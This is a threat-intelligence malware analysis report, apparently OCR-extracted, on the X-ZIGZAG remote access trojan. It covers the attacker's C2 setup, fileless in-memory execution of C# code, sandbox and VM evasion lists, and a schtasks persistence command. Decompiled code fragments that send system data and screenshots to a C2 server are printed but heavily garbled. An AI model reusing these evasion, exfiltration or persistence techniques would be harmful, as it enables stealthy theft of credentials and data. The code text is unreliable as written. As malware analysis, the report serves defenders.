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EXECUTIVE SUMMARY & KEY FINDINGS

As ThreatMon, we strive to prevent potential malicious activities by
informing individuals, companies, firms, institutions, and organizations
about current threats through our reports, posts, and analyses.

The X-ZIGZAG RAT is a highly sophisticated and stealthy malware, first
detected on October 5, 2024 by ThreatMon, targeting Windows
systems. It operates entirely in RAM, making it undetectable by the
most of antivirus software especially that relies on disk-based
detection. This malware is capable of stealing sensitive information,
including system details, saved browser passwords, Wi-Fi credentials,
and credit card data. It also allows attackers to execute system
commands and codes, upload and download files, and capture
screenshots from infected devices. One of its defining features is its
ability to detect virtual machines, sandboxes, and malware analysis
environments, and it can self-terminate to evade detection when these
are identified. X-ZIGZAG RAT achieves persistence by adding itself to
the Windows Task Scheduler, ensuring it reactivates after system
reboot. Its open-source nature on GitHub makes it highly accessible to
attackers, including those with limited technical skills. The malware
also includes a self-destruct mechanism, which allows it to erase all
traces of itself, enhancing its stealth. Despite its powerful capabilities,
it has a low detection rate among common antivirus programs.
Communication with a command and control (C2) server allows
attackers to remotely control the infected system and exfiltrate data.
Given these threats, mitigation strategies emphasize the use of
advanced memory scanning tools, behavior-based detection systems,
monitoring of outbound network traffic, and strong controls over
unauthorized task scheduling. These approaches are critical to
countering the stealthy and dangerous X-ZIGZAG RAT.
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J—
A-ZIGZAG

X-ZIGZAG RAT

X-ZIGZAG is a lightweight and stealthy Windows Remote Access Trojan
(RAT) initially detected by ThreatMon in 2024. Hosted on custom public
servers, X-ZIGZAG offers a range of dangerous functionalities, making it
easily accessible to a wide range of threat actors. This malware is capable of
stealing sensitive information, including system details, saved browser
passwords, and WiFi credentials. With its ability to operate entirely in RAM,
X-ZIGZAG ensures that no files are written to disk, bypassing_all known
security solutions.

The malware also includes self-destruct mechanisms, allowing it to erase
itself without leaving any trace, further enhancing its stealth capabilities.
Moreover, X-ZIGZAG can detect virtualized environments and proxy
connections, terminating its operations if it suspects the use of a VPN, VM or
sandbox.

Due to its easy-to-access structure, custom deployable C2 and broad
feature set including persistence, command execution, and remote file
uploads it can be operated even by users without advanced technical
knowledge. The high level of undetectability and functionality make X-
ZIGZAG RAT Malware a serious security concern for organizations,
individuals, and institutions alike.
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X-ZIGZAG RAT Github Repository

X-ZIGZAG RAT is shared as open source on Github, was first shared 2 months ago

and received its last update on 04.10.2024. The malware has 140 stars, 6 watches

and 9 forks and is licensed under the MIT license. There are 3 different projects

that need to be installed separately (Client, Server and GUI).

X-SPEED

Achievements

el &

Follow

z B¢ @ Pac i L]
L] vriso ¥
0 co ons a y 2004
- ssEessE
] | ] L | ]
] aEmE
asum
| i
[ {111}
L ] uan I
sam
- DGZAG

Dbt o

X-ZIGZAG RAT Developer

The malware was published through an account with the username X-ZIGZAG,

while the real github account of the developer was identified as X-SP33D. At the

same time, on the github description, it is indicated by the project developer that

the discord username is xspe3d.

Likewise, according to the information obtained from the developer's github

account, it is observed that he has a website named xspeed|[.]site.
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X-ZIGZAG RAT Attacker View |

The Threat Actor first installs the Client folder of the Project on its device and opens

the project with SLN extension via visual studio.

X-ZIGZAG RAT Attacker View ||

Then the threat actor changes the section referring to EndPoint in the resources
section according to its own server information. The address http://serverip:port/

written here represents the attacker's C2 server.
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Clients Admins Logout

Login

X-ZIGZAG RAT Attacker View llI

Other than the client side, there is one more action required for setting up the
server and establishing the connection on the server side. According to the
instructions provided on GitHub, a C2 server is set up on a Linux server via Docker.

After the setup, the threat actor logs into the C2 server

Clients Admins Logout

Name Version Latest Ping

WIN7PROZ020-win7 Microsoft Windows 7 Professional 7601 64-bit Oct 4, 2024, 5:56:53 PM

X-ZIGZAG RAT Attacker View IV

When a connection is established with the C2 server via the RAT, it can be

monitored by the threat actor on the C2 panel.
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Clients Admins Logout

Request Update
Name: WIN7PRO2020-win7
IP Address: Location:
Version: Microsoft Windows 7 Professional 7601 64-bit

4[24, 5:48 PM

i5-2458M CPU @ 2.58GHz 2/4

Intel(R) phics
DISK 1 ST9580325AS ATA Device - 465,76 GB

Browser Data Screenshots Instructions Results £ Settings

X-ZIGZAG RAT Attacker View V

When a connection is established to the C2 server, the project provides the
threat actor with detailed system information.

This information includes the device name, IP address, ISP, last update date,
creation date, operating system and version information, location, the last
time the device was active, and system specifications. In addition to
advanced information about the infected device, the bottom section contains
the malicious activities that the attacker can perform on the system.

IP Address; == Location:
Version: Microsoft Windows 7 Professional 7601 64-bit

Latact undate: 10/4/24, 5:48 PM Latest ping: 10/4/24, 5:56 PM

Upload From Target
Download To Target 2ecs
Execute CMD
[ — Core(TM) i5-245M CPU @ 2.58GHz 2/4
HD Graphics 3868
Grab Wifi Pas 9588325AS ATA Device - 465,76 GB
Grab Browse
Grab Brow
Grab Browsers Cookies
Execute C# Code

/

v
Destroy Himself ar Data Screenshots Instructions Results § Settings

Update Info

Upload From Target

X-ZIGZAG RAT Attacker View VI

The actions that the threat actor can perform on the infected device via the
C2 include:uploading files, downloading files, executing CMD and PowerShell
commands, capturing WiFi passwords, capturing browser cookies, stealing
credit card information saved in the browser, stealing passwords saved in
the browser, executing C# and VB code, self-destruction, and updating
information.
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Basic Characteristics of the X-ZIGZAG RAT

FileType Portable Executable 32

Compiler Language | Microsoft VB .NET

FileSize 44.00 KB
PE Size 44.00 KB

MD5 76E79AED4053972A09374E814A8F6F64

0687c43daf8adecbcd5243494bcaca856ecec9c427b83a017

SHA256
4fcf2ae24db3672

X-ZIGZAG RAT is developed in the VB .NET and occupies 44 KB of disk space.
Since it is open source and compiled via Visual Studio, it does not include a packer.

)
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X-ZIGZAG RAT RAM Usage

A memory dump was taken for the PID which belongs to the X-ZIGZAG malware on
the infected device and it was found that the RAT which has a 44 KB size, has used
130.45MB of RAM space in the system.
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X-ZIGZAG RAT DLL Imports

When examining the imported DLLs, it is observed that only mscoree.dll is used on
disk. This is used by the X-ZIGZAG EXE because the malware runs on the .NET
framework.
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X-ZIGZAG RAT DLL Imports in Memory

When the Process Memory Dump was examined, the use of several notable DLLs,
such as fastprox.dll, wbemcomn.dll, rpcrtremote.dll,

Net.Http.ni.dll and so much more, was detected.

rasman.dll, System.

Notably, while only mscoree.dll usage is visible on the disk, the use of such DLLs in
memory indicates that the malicious software is conducting all malicious activities
within the memory. The fact that it appears as clean software on the disk helps the

malware evade detection by antivirus programs.

wspace frameles

4 Token: GxB2000807 RID: 2
internal class Actio
i
£ Token: GudSHO00B1 RTD: 1 RVA: BxBOGB2050 File Offset: ddoodalse
public static async Taskcobjects ExecuteCsharpCodessync(string code, object[] parameters)
{

der codeProvider = mew (Sharplodefrovider();
:rs compllerParams = new CospllerParameters

= trug,
= false,
: = false

string[] asssbls = mew string[]

h
foreach (string assembly in asssbls)
g

compilerParpes Beforencedas semb]l ios  Add (a5 sembly) ;
assesbly = null;
1
striogl] arcay m mall;
compilerResults results = codeProvider.CospileAsseablyFrosSource(compllerParams, new string[] { code }); I
Bocl Flag = Iresults.Lrrors,Mesbrrorsy
if (flag)

"Microsaft. CSharp.dll™,

X-ZIGZAG RAT String Code Execution in Memory

“Systes. Security.dll”,

"Systes.Oynasic. dll™, "Systes. Core,d

Sys =, "Systes.Runtise,dll”, “Systes.Threading.Tasks.d117, "Systes.Net Htep.dl17, “Systes,Web.Extensfons,dll™,
"= d11%,
hys dows . Forms.d11™, "System.Managesent.dll™, “Systes.Runtise.Serialization,dson.dll”, "Systes,Runtise.Serfalization.dll”, “System.Xsl, 11", “Systes,Crawing.dll”

Upon analyzing the code structure of X-ZIGZAG RAT, it was determined that the
malware executes string-based codes in memory and loads the necessary DLLs into
memory. It has been observed that these DLLs are legitimate (legit) DLLs found on
the disk and transferred to memory, with no evidence of any Reflective DLL Injection

structure.
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X-ZIGZAG RAT Base64 Formatted Injected Codes in Memory

Codes executed in memory have been identified within the resources, and they are
all in the form of <variable_name>=<base64_encoded_C#_code>

[7dXNpbmcgU31zdGVELK1POIVZaWSNIFNSCIR1DSS0ZXQUSHRACDE1c21uZyBTeXNGZWAUUNVUdGLEZSSTZXIpYiixpemF@aou03vzasnIFNSC3R1bS55dW58aW11L1
PYyBjbGF zcyBTY3IpcHR7WARhdGFDb 258cmF jdF lwdi] s alMg Y 2xhe 3Mg02xpZWS8UG1uZ111c 3BvbnNl e 1t EYXRh TWV YmVy (B 1 YmxpY yBpbnQ,

1dW] sakMgalseIG5 leHRQalW5ne 2d LdDE 2 ZXQ7 FVEEYXRhTHVEY VY XXB 1YmxpYyBMaXNEPE Luc 3Ry dWNeaWouPmluc 3Ry dWNealduc 3tnZXQ7 c 2Ve0319cHViIbG 1 IGN
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11emlhbG16ZXT odHlwZWImKENs alWudFBpbmdSZXNwb252Z5kp03ZheciBjbG11bnROaWS nUmy z cG9uc2UIKENs allud FBpbmd S ZXNwh 252251 2 ZX ] pYlixpemiy L1 T 1YW
zZ55pbnNecnVidGlvbnMhPS1bGwmImN s aWVudFBpbmdSZXNwb252Z55pbnNecnVjdGlvbnMuQ291bnQ

Almyz cG9uc 2UualSzdHI1Y3Rpb 25z KXt phnNee y SBZGobmV3e8 L kPWluc 3Quak5 2dHI1Y3Rpb2517CxDb 2R 1PWLuc 3QuY 29k 7S xTY 3)pcH9als 2dC52 Y3 IpcH)s QX
BUGLuZyoxMDAWL FNjcmy1bnNob3QoY 2xpZW5eUGluZ1)1c36vbnNlLnN cmv1bnNob30s SW5 zdHMI a5 ZdHNS0 3] LdHVy b1 By ZXN1bHQ7 FX19cmved X JuIG51bGwT X

X-ZIGZAG RAT Base64 Decoding - Variable: Check

The Base64 encoded codes within the Check variable have been decoded, and the
analysis will continue with the examination of this code structure.
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public static asyns Teak<objsct> Executehsymc(string NEOpOSEN. %
1

55 wwid)

nsing (HtLOLlient CAient = paw Hetollisncfih
i

IEIr_c;:ata}-c:\.:eHu:nu 3 = awnit client.Gerhsyng lendpa Jo "clienc/Checks® & uu:dp_-]
§f (5.IsSuccessStarasCoda)
{

string responsefontent = await s.Content.ReadhsStringReymci)
using (var memcryScrean = new HemcryStream{Encoding.UIFE.GecBytes(responselontent)})
i

wvar serializer = new Datalontrastlacnder szez (typeaf(CliencPingRespenae) ) ¢
var clientPingResponse = (ClientPingResponse)serializer,Readbbject (nemcryStrean):
var insts = new List<object>{):

1f (cliencPingResponsc.inatruccions f= null &6 clisntPingResponse.inscrusvions.Count > O}
i
foreach (var inst in clientPingResponse.instructions)
i
inata.Add (mew
]

Id = inmsr.imsnzuceiconld,
Code = inst.cade,

Script = insc.soript,
Args = insc.funccionArgs,

VAr Iesult = mew

Delay = clisatPingResponse.nexth L) .
Screenshot = clientPlagResponse) secormabere ]

Insts = insca

X-ZIGZAG RAT Network Operations

When the Base64 encoded C# code in the Check variable is decoded, it reveals
network-related structures where HTTP requests are sent to a C2 server, and
responses are in JSON format. The screenshot variable acts as a flag that, if
modified by the server, signals the client to capture and send a screenshot to the
C2. However, the screenshot capture code is not present in this structure.
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X-ZIGZAG RAT Base64 Decoding - Variable: Checker

The Base64 encoded codes within the Checker variable have been decoded, and
the analysis will continue with the examination of this code structure.
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FLATLE readonly

publie class Scripe

=| private static readonly scringl] wvmHachddresaes = {

be

private static readonly string[] veBegistzyReys = [
E"SOFTWARE\VMware, Iac.\VMware Tcola®
@"SOFTHARE\Orasle\VireuslBox Gusst Additisas",
@"HARDWARE\DESCRIPTICH) Sysees)BIOS) SyscenManufasturas®
§"HARDWARE\DESCRIPTICH) Sysees)BI0S) SyscanmbradustNanan

i

= privats =catic readonly scring sandboxFrocesses =
ivat cdonl [1 dboxE {

| X-ZIGZAG RAT VM Detection

It has been determined that this decoded code section is entirely focused on the detection
of sandboxes, VMs, Servers and malware analysis tools. In the event of detection, the
malware terminates itself and does not execute.

Checked Process Names For VM:"vmtoolsd", "vboxservice", "vmsrvc", "
"vboxtray", "xenservice", "gemu-ga"

Checked MAC Addresses For VM: "00:05:69", "00:0C:29", "00:50:56", "00:1C:14",
"08:00:27", "00:15:5D", "00:03", "00:0F:4B"

Checked Registry Keys For VM: “'SOFTWARE\VMware, Inc.\VMware Tools",
"SOFTWARE\Oracle\VirtualBox Guest Additions",
"HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer","HARDWARE\DESCRIPTION

\System\BIOS\SystemProductName"

vmusrvc",

static readonly st Known3an lés = {

sering[] selsctedProcessList = |

X-ZIGZAG RAT Sandbox Detection

Checked Process Names For Sandbox: "sbiectrl", "snxhk", "nspectr"”, "wsb", "capesandbox",

"joeboxcontrol", "analyze", "procexp",
Checked Known File Paths For
Sandbox:"C:\\windows\\sysnative\\drivers\\sandboxie.sys","C:\\windows\\system32\\driver
s\\sandboxie.sys","C:\\windows\\sysnative\\drivers\\cuckoo.sys","C:\\windows\\system32\\
drivers\\cuckoo.sys","C:\\windows\\sysnative\\drivers\\zenbox.sys","C:\\windows\\system3
2\\drivers\\zenbox.sys","C:\\windows\\system32\\vmGuestLib.dll","C:\\windows\\system32\
\vm3dgl.dll*, "C:\\windows\\system32\\vboxhook.dlIl",
"C:\\windows\\system32\\vboxmrxnp.dll","C:\\windows\\system32\\vmsrvc.dll",
"C:\\windows\\system32\\drivers\\vmsrvc.sys"

Y

zenbox"

16
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=) private static readonly string[] selectedProcesslist = {

private static readonly string[] rdpProcesses = { "mstsc”, "rdpclip®, "conhost™ }i

X-ZIGZAG RAT Malware Analysis Tools & RDP Server & VM Detection

Checked Process Names For Malware Analysis Tools and Virtual Machines:

“processhacker”, "netstat”, "netmon", "tcpview", "wireshark", "filemon", “regmon",
“cain", "procmon", "sysmternals" "naglos" "zabbix", "solarwinds", "prtg" "splunk”,
"kismet", "nmap", "ettercap", "vmtoolsd", "vmwaretray", "vmwareuser", "fakenet",

"dumpcap"”, "httpdebuggerui”, "wireshark", "fiddler", "vboxservice","df5serv",

“vboxtray", "vmwaretray", "ida64", "ollydbg", "pestudio"”, "vgauthservice", "vmacthlp",
"x96dbg", "x32dbg", "pri_cc", "pri_tools", "xenservice", "gemu-ga", "joeboxcontrol”,
"ksdumperclient", "ksdumper", "joeboxserver"

Checked Process Names For RDP Servers: "mstsc”, "rdpclip", "conhost"

i

X-ZIGZAG RAT WMI Queries |

It has been observed that WMI Queries are executed to detect the environment.

A "Select * from Win32_ComputerSystem" query has been entered to obtain
information about the computer system, and the presence of certain device names
used in virtual environments are being checked.

To gather information about the computer's graphics card, the WMI query
"root\\CIMV2", "SELECT * FROM Win32_VideoController" is being executed in the
system, and it checks for a match with the graphics card information used in virtual
machines.

The computer's BIOS information is being checked using the WMI query "Select * from
Win32_BIOS". The BIOS information is being checked for a match with the BIOS details
used in virtual machines.

Y
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using (var searcher = neow ManagesentlbjectSearcher(“Se e = fr Wind2 Processar®))
i i
foreach [var item in searcher.Geci))
| ]

i "xen”) || manufacturer.Contains("gesma=) ||
wversion.Contains ["wirt x"} 11 wersicn.Contains{"wbox"}}

FELEFR LTBe:

t
foreach (var item in searcher.Getid)

ing(“vavare®] |] ma: ntains("=zen”d |1 manufacturer.Contadns (Tgemst) 00
product.Contains ("virtualbox®) |1 product.Contains {"vbox"

E
1
1
]
]
naing {var seazcher = now Hanage=entlbjectSearcher (*Je = fr Winil Easa aed®) )

reEtOYn trne!

retorn false:

X-ZIGZAG RAT WMI Queries |l

The computer's CPU information is obtained using the WMI query "SELECT * FROM
Win32_Processor". Additionally, this information is compared with the CPU details
used in virtual machine environments.

The computer's motherboard information is obtained using the WMI query "Select *
from Win32_BaseBoard". Additionally, this information is compared with the
motherboard details used in virtual machine environments to check for a match.

uaing (ve: SeSrcher = Rew MAnsgementOElestSesrehes ([Lrlcoe ¢ fros Winls Eerlystent))

i

if (manufactures.Centaingl mics

1

retorn troe:

private static bool CheckForVPSEnvironment ()

|
maing {var searcher = new HansgesentObiectSessches{oscloct * fros Hinig crsyanen=1]
t

foreach (var item im searcher.Ges())
i

snBTeiseunt™]] || medel.Contains PEITIITTY

X-ZIGZAG RAT WMI Queries llI

All these WMI queries mentioned for VM detection are repeatedly used and are also
utilized for detecting environments such as VPS, Sandbox, and RDP.

Y
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bool IsProwyDetoctedlsinghegistey ()

ing registryfey =[#"Software'Hicro

LEy
1
using (RegistryMey koy = Rogistey Currentlser.
1
1f (key V= null)
i
chject proxyEnable = lkoy.GetValue("Proxy s
if (prowyEnable f= null && (int)promyEnable == 1}
i
roturn true;
]

zof t\Hindows\Curren

}
}
)
cateh [Excoption)
{

EwtuEn falsa:

I

tVersicni Intern

et Settings®:]

CpandubEsy (registryHoy, falss))

X-ZIGZAG RAT Registry Operations for Proxy Detection

X-ZIGZAG RAT uses the Software\Microsoft\Windows\CurrentVersion\Internet
Settings registry path to detect the proxy status on the computer where it is
executed. The ProxyEnable setting is checked here. If the value of ProxyEnable is 1,
it indicates that proxy usage is active, and if it's O, it indicates that proxy usage is

inactive.

[DllImport ("kernel
static extern bocl IsDebuggerPresent();

public static bocl DetectDebugger()
{

return true;

}
return false;

1", SetLastError = trua)]

if (IsDebuggerPreszent() || Debugger.Isattached)

X-ZIGZAG RAT Debugger Detection

Debugger detection
Kernel32.dll.

public static
i
while (trus)

{

asyno Task<bool®» IpChecker ()

Ley
{
using (var client = new HrtpClient())
]

ar status = awalt client.GetStringhsyne ([

is performed using the

IsDebuggerPresent APl from

ina")|.configureAwait (false) ;

return status.Contains{"true”);

}
atch

]

L=

{

]

Thread. Sleep{ LI
}

1

X-ZIGZAG RAT Proxy and Hosting Detection over IP-API

Proxy and hosting detection is performed over the network, and the service ip-

api.com is used for this.

An HTTP request is made to the URL http://ip-api.com/line/?fields=proxy,hosting.

Y
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public static bool DetectEmulatorByTime ()
= {
try
= {
var ticks = DateTime.Now.Ticks;
Thread.Sleep(10);
if (DateTime.Now.Ticks - ticks < 10L)
return true;

catch

return false;

X-ZIGZAG RAT Time Based Virtual Environment Detection

There is a time-based detection algorithm for identifying virtual environments. It
captures the current time, waits for 10 milliseconds, and checks the time again to
calculate the difference. If the difference is not 10 milliseconds, the virtual
environment is detected. Threat actors use this algorithm because time can
sometimes flow slower in virtual environments compared to physical ones.

417 [DllImpore (" 11")]

418 private static extern IntPtr GetModuleHandle(string lpModuleName) ;

419

420 public static bool DetectSandBoxBvD11 ()

421 I {

422 var dlls = new[] { "sbieDll", "SxIn", "S£2", "snxhk", "emdvrt32" };
423 return dlls.Any (dll => GetModuleHandle(dll + ".dl11") .ToInt32() 1= 0);
424 : }

425 }

426 L

X-ZIGZAG RAT DLL Based Sandbox Detection

In the system, the X-ZIGZAG RAT checks for the presence of the DLLs "SbieDII",
"SxIn", "Sf2", "snxhk", and "cmdvrt32" to determine whether it is running in a
sandbox environment.

TR £y S8 2Ok
MU 2RO

T IpEFacd Ol 1 dtp0
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X-ZIGZAG RAT Base64 Decodmg - Variable: Logln

The Base64 encoded codes within the Login variable have been decoded, and
the analysis will continue with the examination of this code structure.
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public class Beript
=
static string GetUsername ()
i
return WindowsIdentity.GetCurrent () .Name;
1
statie string GetWindewsVersien()
i
Ly
{
using (var searcher = new ManagementObjectSearcher ("SEI “* FROM WindZ_operatingsystem™))
{
string infe = "";
foreach (var obj im searcher.Get())
i
infe += obj["capticn™] + " * + ebj["BuildNumber®] + * " « abj["0sArch tura®];
1
return info;
I
cateh (Exception)
{
}
raturn 7"
I

X-ZIGZAG RAT Username & Windows Version

The information about the username, Windows, and Windows version is obtained
within the system. It has been observed that the SELECT * FROM
Win32_OperatingSystem WMI query is being executed.

public static string CecSystemIafo (b

gBuilder ab - naw StrimgBuildex(}:
sb.AppendLine {GetCpulnfo()) ;

var raminfo = GetRAMInfo() .
fareach (var ram in rasinfs)
1
b AppendLine (5" LIt HE
)

sb.appendiine {GetGpulnfo ()}
ab. AppandLing (CotDiakInfe(d) @

return sb.TosSceing()

i

private static string GetCpulnf

cpulnfo_AppendLine (cpullame + " " + cpuCores + /" + cpulhroads):
return spulnfe.ToStringd)
]

X-ZIGZAG RAT CPU, RAM, GPU and Disk Information

Information about the CPU, RAM, GPU, and disk is being obtained on the infected
machine.

private stavic string GetCpulame ()

jecrSearcier S03rchOT = new ManagomantObjectSearcher( T o Winiz_pr tH

w01, Tosezing () . Roplace | . 3. Tedmi) ¢ UHIAT
}
1
cateh
{
FotuEn
1
ot
]
private static int GetCputores(}
try
1
r2sarcher searcher = new ManagomentObjectSsarcher|”SZLECT rofcar M Wind2_br ")z

i collestin

obj in eol

sparcher.Ges ()7
tiem

roturn int.Pazsefob] "N £ "] 1= null ? abi["H t "1.Tegtzing(} : "07):

X-ZIGZAG RAT CPU Name and Processor Core Information

The information about the CPU name and the number of processor cores is being
obtained. The WMI queries "SELECT Name FROM Win32_Processor" and "SELECT
NumberOfCores FROM Win32_Processor" are being executed.

Y
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private atatic int GetCpuThroads()

The number of threads and GPU information are being obtained, and the WMI
queries "SELECT NumberOfLogicalProcessors FROM Win32_Processor" and
"SELECT Name FROM Win32_VideoController" are being executed.

private static string GetDiskInfol)
1
StringBuilder
Pisvicmarycatsing

new StringBuildec();
reingd disks = new Dietionaryarzing, steingh():

using [ManagesentobjoctSearcher searcher = mow MamagementObjectSearches( * FROM Wim3Z kDELva™)}
using ([ManagementObjectCollection collection = searcher.Geti))
1

foreach (Managementobject disk in collectiom)

del = diskl[™* *1 1= null ? disk["H =) .To8tring{) 1 “Unknown®;
g - Parseldisk["Size"] 1= null % disk["Size™],TeSceingd) : "0%);

h.Round { {double) sizeBytes f | ® * I
s8GD + " H

int diskCount =
foreach (MeyValuePair<string, string> disk in disks)
i
diskInfo.AppendLine ("DISE " + diskCount + " ~ + disk.Rey + ~ " v disk.Value)

diskCount#+;
1
roturn diskInfs,ToSteingd);

X-ZIGZAG RAT Disk Information

The model name and size information in GB of the disk drive are being obtained
from the infected device.

private static List<Tup

ring, doubles>(};:

X-ZIGZAG RAT RAM Information

It is obtaining information about the RAM modules in the computer, and the WMI
query “SELECT Manufacturer, PartNumber, Capacity FROM
Win32_PhysicalMemory" is being executed.

Y
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static asyns Task<bools Loginfstring sndpoinc)
[}
while (true)
i
avait Task.Dolay(new Randce(}.Next (o, e
try

using (HttpClisnt client = mew HetpClientd))
]

var content = new StringContent{"[\"id\":\"" + GenerateUID() + "\"}", Encoding.UTES, “application/json”);
HerpResponsaMossage response = awalt client.Pasthsyncloadpoint + "Cligact, conzent):

if (respense.lsSuccessStatusCede)

Eetuen true:

]
alse Lf — Syates.Net

Eaturn false:
]
catch (Excoption)

=} {
]

X-ZIGZAG RAT Sending Data to C2 in JSON Format

At the final stage of the code,all the information obtained from the system is
transmitted in JSON format to the malicious server, which has been assigned to the
"EndPoint" variable and designated as the C2 by the threat actor. This transmitted
data can be read in JSON format on the server side and monitored by the attacker.
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'X-ZIGZAG RAT Base64 Decoding - Variable: Screen

The Base64 encoded codes within the Screen variable have been decoded, and the
analysis will continue with the examination of this code structure.

publie =L, ipe “
=11 g
public static asymo Task dpointurl, bytel) ytes, int maxRetries) :
13 e i =
14 Timegpan delay = Timefpan.FresSeccnds(10): :
15 cess = false;
yoeunt = 0 = |
using (Rttplient httpclient - mew Httpllisnt(l) = b
while {lsuccess &6 retryCoust < maxkerzies) -
i
tey a |
I

E7 using (var content = mew ByreArrayContent (isageBytes})

HediaTypeeadervalus *imig: )2

var response - awalt he n) ;

rasponse. Ensuresuscases

success = t

1

]
cateh (Exceptiond d|
1

1 retryCountess
delay = TimeSpan.frcmSeconds(Math.Pow(i, TetryCount));

]
awalt Tasi.Delay (delay) :

X-ZIGZAG RAT ScreenShot & C2 Operations

This code structure captures screenshots on the system using a parameter
received from the C2, and transmits them to the C2 server until it succeeds.

Y
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E
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'X-ZIGZAG RAT Base64 Decoding - Variable: Set

The Base64 encoded codes within the Set variable have been decoded, and the
analysis will continue with the examination of this code structure.

] | private static void StoreTheFile(}
5 18 {
10 string executablefath = Process.GetCurrentfrocess() .MainModule . FileName;
11 string appDataPath = Environment.&etFoldezrPath(Environment.SpecialFolder.localipplicationData);
12 atring xbFolderPath = Path.Clombine (appDataPath, "=zigszag”);
13
14 Lf (!Directory.Exists{xbFolderFath))
LA = i
16 Directory.Createlirectory (xbFoldecfath) ;
17 )
18
19 string destinaticnPfath = Fath.Combine (xbFoldezFath, "X-ZIGZAG.exe");
21 if (!File.Exista(destinaticnfathl})
E A (= {
23 File.CopylexecutablePath, destimationPath)
24 Frocess.gtart {(destinationPath) ;
25 Environment.Exit {0} s
26 ~ ]
27 L 1

X-ZIGZAG RAT Self-Copying and Background Execution Mechanism

In this code structure, the file creates a folder named 'xzigzag' in the Local
directory and copies itself into that folder. Then, it terminates the running process
and executes the file it copied to the local directory.

28

29 public static asyno Task<object> Executaisyne()

30 = {

31 await Task.Delay(new Random() .Next (1 . 1 3
32 StoraThaFila () ;

33 await Task.Delay{new Random() .Next {3000, 10000));
34 5=r.up‘.|!'usk$-:hg:iul-=r{"ff..-'.; GIAG™) ;

35 raturn null;

36 }

7

X-ZIGZAG RAT Task Scheduler Usage

It achieves persistence on the system by adding itself to the Task Scheduler. This
way, every time a Windows session is opened, the malware becomes active again
and continues its operations in RAM.

Y2
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X-ZIGZAG RAT TECHNICAL & MALWARE ANALYSIS

pElLwate static void setupTaskdcheduler [string Caskiame)

Frocess checkTask = new Process
I
Startinfo = mew FrocessStartinfo

FileName = "5 ’
"= + apkame + "\"

checkTask.8tare () ;
se g

11T

X-ZIGZAG RAT Task Scheduler Operations

It uses the schtasks.exe for Task Scheduler operations and provides the
necessary commands to schtasks.exe for persistence. Within the system, it

becomes persistent by issuing a command such as:

schtasks.exe /Create /SC ONLOGON /RL HIGHEST /TN

"%LOCALAPPDATA%\xzigzag\X-ZIGZAG.exe"

{# Token: dwB2SD0883 RID: 3

public class Home : Form

1
£f Token: 9xBE2DDBEI RID: 3 RAVA: BwdBBAZOAd File Offset: ummz.ﬂ
private static ssync void Runn()

"XZIGZAG"

Home .« 3c_ DisplayClasss @ CS§8_ localsl = mew Home.coc_ DisplayClasss af):
£58<>8  localsl,resource = new Sesour Frame] Home™, typeofiiioms) dssesbly);
await Actics,ExecuteCsharpCodedsyn B.Geratring(Convert, FromBasesastring (S8 __localsl. rescurce Getitring( "Checker™) ) ), mew chiect[a]);

swalt Actlion.ExecuteCsharpCodedsy

8.Bet5tring{Convert. FromBase6a5tring(CS5¢>8_ localsl. rescurce GetString(“Set™})), new cbject[8]);

sbject obj = awalt Action.ExecutefsharpCodeisync(Encoding, UTFE, Setstring(Convert FronBasefaString{CS8438__localsl, resource. BetString("Login™}} ), new sbject[] { Rescurces.Endpoint });
FEEE TR = [ SEFINEOrYT
obj = mull
sk ReA( () => Home,InstructicaHandler());
e (delegate
t

ome., ¢3¢ __Displ 130 <eRunnsb_13d = mew Home, e Displaptlassh @, <cRumnxb__1:d();
CiRunnrE__1rd. AsyncVoldiethodBullder . Create();
<tRunneb__1ad. < 338 localsl;
CiRunndl__13d, 31 -1;
ciRunnsl_ Lad. it
H.stare();
ik, Run{delegate

.Startctioss. <3¢ DdsplayClasss @, <Runncl_1xda{ref c<Runnsb_1xd);

{
r-: me, Screenshotsiandler] Encoding UTFE.GetStringConvert , FromBazesastring(C58<28_ localsl, resource.GetString(“Screen®} )i ); |
H]

¥

X-ZIGZAG RAT Executing Base64 Encoded Codes on Ram

Using the Action.ExecuteCsharpCodeAsync() method, Base64-encoded C# code
located in the Resources section is executed directly in RAM without interacting
with the disk. With its unique algorithm and the fileless technique, X-ZIGZAG RAT

bypasses various antivirus programs.

/TR

)
4
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X-ZIGZAG.exe

@ Motor algilama

X-ZIGZAG RAT Scan Results

Finally, the X-ZIGZAG RAT was found to have a detection rate of 2/48 in the scan
results. The fact that it can bypass widely used security software such as
Crowdstrike, McAfee, Microsoft Defender, Avast, AVG, and Kaspersky, and that
threat actors can access it for free, highlights the critical level of the X-ZIGZAG RAT
malware.

X-ZIGZAG RAT operates entirely in RAM through its fileless execution, allowing it to
evade disk-based security solutions. Additionally, it features a self-destruct
mechanism that enables it to delete itself without leaving a trace, making it difficult
to track. Being open-source and available on GitHub, it is easily accessible even to
users with limited technical knowledge.

Its advanced virtual machine and sandbox detection capabilities allow it to halt its
operations when under analysis. With a low detection rate, it can bypass widely
used antivirus programs, making it both a powerful and stealthy threat.
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Risk Analysis Table & Mitigation Strategies

commands.

Risk Factor Description Likelihood Impact Mitigation Strategies
X-ZIGZAG RAT
. Use advanced memory
operates entirely .
in scanning
Fileless Execution memory, High High tools a.nd EDR solutions to
bybassin detect in-memory threats.
vp o 9 . Implement behavior-based
traditional disk- detection
based detection. :
Can steal
fsensmve. Use multi-factor
information ..
such as WiFi authentication
Credential Theft . High high (MFA), encrypt stored
credentials, . .
credentials, and monitor
TR unusual login activit
passwords, and 9 y.
credit card data.
Detects virtual
environments
Advanced and
VM/Sandbox terminates if it medium medium
Detection senses sandbox
or malware
analysis tools.
Uses Task f:/;omtor Task Scheduler
Scheduler to .
. . e . unauthorized tasks.
Persistence via Task | maintain . .
. medium high Automate alerts for
Scheduler persistence .. .
suspicious entries and
across system
unusual
reboots. ..
activity.
Communicates
with aremote Monitor outbound network
Command and traffic
Network Control (C2) Hiah hiah for suspicious C2
Communicationto C2 | server to 9 9 communication patterns.
exfiltrate data Block unauthorized IPs and
and receive domains.
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Risk Factor Description Likelihood Impact Mitigation Strategies
Detects and Regularly audit and monitor
bypasses proxy
. proxy
Proxy Detection and usage . . . q
. . Medium High configurations. Implement
Evasion to avoid network "
. strong network traffic
monitoring and .
analysis tools.
control.
Executes arbitrary Employ application
commands via whitelisting
Command Execution CMD and High High and restrict
Capabilities PowerShell, 9 9 PowerShell/CMD usage.
allowing attackers Monitor command executions
full system control. for anomalies.
Use multi-layered security
Bypasses . . h o
o .. solutions, including heuristic
- . traditional antivirus . . . .
Antivirus Evasion . . High High analysis, anomaly detection,
solutions with a low
detection rate and EDR to catch
: undetected threats.
